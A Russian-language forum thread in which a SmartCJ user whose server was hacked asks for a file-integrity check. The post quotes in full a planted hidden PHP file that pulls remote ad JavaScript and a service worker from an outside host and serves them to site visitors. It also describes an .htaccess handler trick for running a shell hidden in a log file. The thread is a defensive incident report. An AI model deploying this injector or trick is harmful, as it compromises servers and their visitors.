Можно ли добавить функцию анализа по CRC папки SmartCJ в зависимости от билда

Post Reply
Retox
Posts: 23
Joined: Sat Sep 30, 2017 6:33 pm

Можно ли добавить функцию анализа по CRC папки SmartCJ в зависимости от билда

Post by Retox »

Такая ситуация ломанули VPS, залили JS с рекламой и какой то php файл в smartcj_folder/bin/.qsfphqxfrmwuuq.php
он не был определен, как чужеродный для скрипта.
Можно ли сделать, функцию AntiShell, которую можно будет по желанию, запустить после обновления, она просканирует что чужеродного в подкаталогах smartcj появилось на случай залива туда скрытых шелов и рекурсивно сравнить CRC актуальной версии и то что на VPS, вдруг там в файл какой то так же встроен код мини шелла.

И подсветит допустим
smartjc/bin/.qsfphqxfrmwuuq.php - is not a part of SCJ. Check it manually
smartjc/logs/.htaccess - CRC Warning там допустим вместо deny from all вставлено AddHandler application/x-httpd-php .php .log и уже можно присмотреться и где то в smartjc/logs/error.log <?php шелл ?>
smartcj/scjwebmaster.php - CRC Warning там то же может где то скрыто.
Вроде как ревизию версии скрипта на зараженность. Так как пользователи модифицируют во основном common.php, остальное можно уже как подозрительное выводить.


сам файл, .qsfphqxfrmwuuq.php который SmartCJ не заметил в /bin/ я так понял не шелл, а что то связано с выводом рекламы в пользу хакера

Code: Select all

<?php

date_default_timezone_set('America/New_York');
define('PR_PUB_INTEGRATION_CACHE_EXPIRATION_TIME_IN_SECONDS', 5 * 60);
define('INTEGRATION_BASE_URL', 'http://prscripts.com/d/?resource=pubJS');
define('SW_URL', 'https://prscripts.com/d/n/sw?did=353641');
define('CURL_TIMEOUT', 5);
define('DOMAIN_ID', "353641");
define('SERVER_PROTOCOL', 'HTTP/1.1');
define('SECRET_KEY', "bbc996f1bd8f8a01be2b3d2e7c9a4cd6b04f35028fe7fb4706b6f2b7e8a9bb87");
define('CREATED_TIMESTAMP', "1632041567");

/**
 * The key to store the script in cache, or the name of the local cache file.
 */
define('CACHEKEY', 'prCachedPRIntegrationScriptFor353641');

/**
 * The key to store the service worker in cache, or the name of the local cache file.
 */
define('SW_CACHEKEY', 'prCachedServiceWorkerFor353641');

/**
 * @var          boolean         Whether or not the plugrush integration script should be cached
 *                          in either Memcached, Memcache or in a local file. (Cache will be updated remotely when necessary)
 */
$cache = true;
header('Cache-Control: max-age=120');

if (isset($_GET['created'])) {
    output(CREATED_TIMESTAMP);
}


$generatedHash = hash('sha256', SECRET_KEY . getIfExists($_GET, 'timestamp'));
$clearCache = false;
if (getIfExists($_GET, 'timestamp') > strtotime('-1 day') && $generatedHash == getIfExists($_GET, 'clearCacheHash')) {
    $clearCache = true;
}

if (isset($_GET['sw'])) {
    if (!$clearCache && $cache) {
        $cachedScript = getCachedScript(SW_CACHEKEY);
        if ($cachedScript) {
            output($cachedScript);
        }
    }
    $curl = curl_init();
    curl_setopt_array($curl, array(
        CURLOPT_URL => SW_URL,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => CURL_TIMEOUT,
        CURLOPT_USERAGENT => 'PRIntegrationScript',
        CURLOPT_REFERER => "this-domains.com",
    ));

    $response = curl_exec($curl);

    if ($cache && curl_getinfo($curl, CURLINFO_HTTP_CODE) == 200) {
        setCachedScript(SW_CACHEKEY, $response);
        output($response);
    } else {
        http_response_code(500);
        echo('Server Issue');
        die();
    }
}
if (!$clearCache && $cache) {
    $cachedScript = getCachedScript(CACHEKEY);
    if ($cachedScript) {
        output($cachedScript);
    }
}

$currentTimestamp = time();
$adblockSafeHash = hash('sha256', SECRET_KEY . $currentTimestamp);
$urlQueryParams = "&t=" . $currentTimestamp . "&i=" . $adblockSafeHash;

$userAgent = '';
if (isset($_SERVER['HTTP_USER_AGENT']) && !empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
}
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => INTEGRATION_BASE_URL . $urlQueryParams,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => CURL_TIMEOUT,
    CURLOPT_USERAGENT => $userAgent,
    CURLOPT_REFERER => !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : "this-domain.com",
));

$response = curl_exec($curl);

$setCacheSuccess = true;

if ($cache && curl_getinfo($curl, CURLINFO_HTTP_CODE) == 200 && isValidDomain($response)) {
    $setCacheSuccess = setCachedScript(CACHEKEY, $response);
}

output($response, $setCacheSuccess);

function getCacheExtension()
{
    $host = 'localhost';
    $port = 11211;
    if (class_exists('Memcached')) {
        $memcached = new Memcached();
        $memcached->addServer($host, $port);
        $serverIndex = $host . ':' . $port;
        $statuses = $memcached->getStats();
        if (isset($statuses[$serverIndex]['pid']) && $statuses[$serverIndex]['pid'] > 0) {
            return $memcached;
        }
    }
    if (class_exists('Memcache')) {
        if (!class_exists('ExtendedMemcache')) {
            class ExtendedMemcache extends Memcache
            {
                public function set ($key, $var, $expire)
                {
                    return parent::set($key, $var, 0, $expire);
                }
            }
        }
        $memcache = new ExtendedMemcache();
        if (@$memcache->connect($host, $port)) {
            return $memcache;
        }
    }
    return new WriteFile();
}

function setCachedScript($cacheKey, $content)
{
    $cache = getCacheExtension();

    return $cache->set($cacheKey, $content, PR_PUB_INTEGRATION_CACHE_EXPIRATION_TIME_IN_SECONDS);
}

function getCachedScript($cacheKey)
{
    $cache = getCacheExtension();
    return $cache->get($cacheKey);
}

function output($script, $setCacheSuccess = true)
{
    header('Content-Type: application/javascript');
    if (!$setCacheSuccess) {
        echo "//setcachefail\n";
    }
    echo $script;
    die();
}

function isValidDomain($response)
{
    if (!preg_match("/#domainIdString-(\d+)-domainIdString#/", $response, $matches)) {
        return false;
    }
    if (!isset($matches[1]) || $matches[1] != DOMAIN_ID) {
        return false;
    }
    return true;
}


class WriteFile
{
    function set($filename, $content, $expire)
    {
        try {
            $file = @fopen("./$filename", 'w');
            if (!$file) {
                return false;
            }
            fwrite($file, $content);
            return fclose($file);
        } catch (Exception $e) {
            return false;
        }
    }

    function get($filename)
    {
        try {
            if (!file_exists("./$filename")) {
                return false;
            }
            $content = file_get_contents("./$filename");
            if (!$content) {
                return false;
            }
            if ($this->isFileExpired($filename)) {
                return false;
            }
            return $content;
        } catch (Exception $e) {
            return false;
        }
    }

    function isFileExpired($filename)
    {
        // Increasing chance to expire the cache pre-emptively the final minute of cache time.
        return (time() + rand(0, 60)) - filemtime("./$filename") > PR_PUB_INTEGRATION_CACHE_EXPIRATION_TIME_IN_SECONDS;
    }
}

function getIfExists($input, $key)
{
    return isset($input[$key]) ? $input[$key] : null;
}
admin
Site Admin
Posts: 37202
Joined: Wed Sep 10, 2008 11:43 am

Re: Можно ли добавить функцию анализа по CRC папки SmartCJ в зависимости от билда

Post by admin »

да, была такая проблема что не проверял такие файлы - добавлено в ап

по crc - не имеет смысла, если просто запустить ап (для проверки црц с серваком) то он просто перепишет файлы, даже если туда что-то встроено, а вот с htaccess не поможет тк надо знать что вы там вносите

думаю если бы просто было "подсветка" этого файла - все остальное не понадобилось бы
Don't forget to run script update
admin
Site Admin
Posts: 37202
Joined: Wed Sep 10, 2008 11:43 am

Re: Можно ли добавить функцию анализа по CRC папки SmartCJ в зависимости от билда

Post by admin »

кстати там в коде есть

https://d.maldini.xyz/publicservices/register.php

можно поискать кому принадлежит домен и возможно найти кто этим занимается
Don't forget to run script update
Post Reply